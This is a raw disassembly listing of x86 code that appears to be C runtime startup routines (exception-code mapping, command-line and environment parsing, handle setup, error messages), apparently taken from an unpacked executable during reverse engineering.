loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43D02C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43D02C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43D02C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43D02C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43D02C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43D02C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43D02C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43D02C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43D02C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D02C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DBA30, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2640416h
		nop


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFA8, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DCFF4, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DCFEC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB9C8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB980, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB9C8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB9C8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB9C8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DCFF0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2680000h
		nop
		mov	eax, dword_4DCFEC
		mov	off_4DB990, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB978, esi
		pop	edi
		pop	esi
		mov	dword_4DB974, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBB38
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DBB38, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2640000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DBB38, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 2640311h
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2640000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 264032Dh
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DCCA0, esi
		mov	dword_4DCDA0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DCCA0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2890000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DCDA0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DCCA4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DCDA0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DCDA0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DCDA0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		call	near ptr 26301F9h
		nop
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DCCA0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 2630A0Fh
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		call	near ptr 26301F9h
		nop
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DCDA0
		nop
		call	near ptr 2630C5Ah
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A9A4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DBB3C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D038


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D0C8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D038[esi]
		jnz	loc_423719
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A9A4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
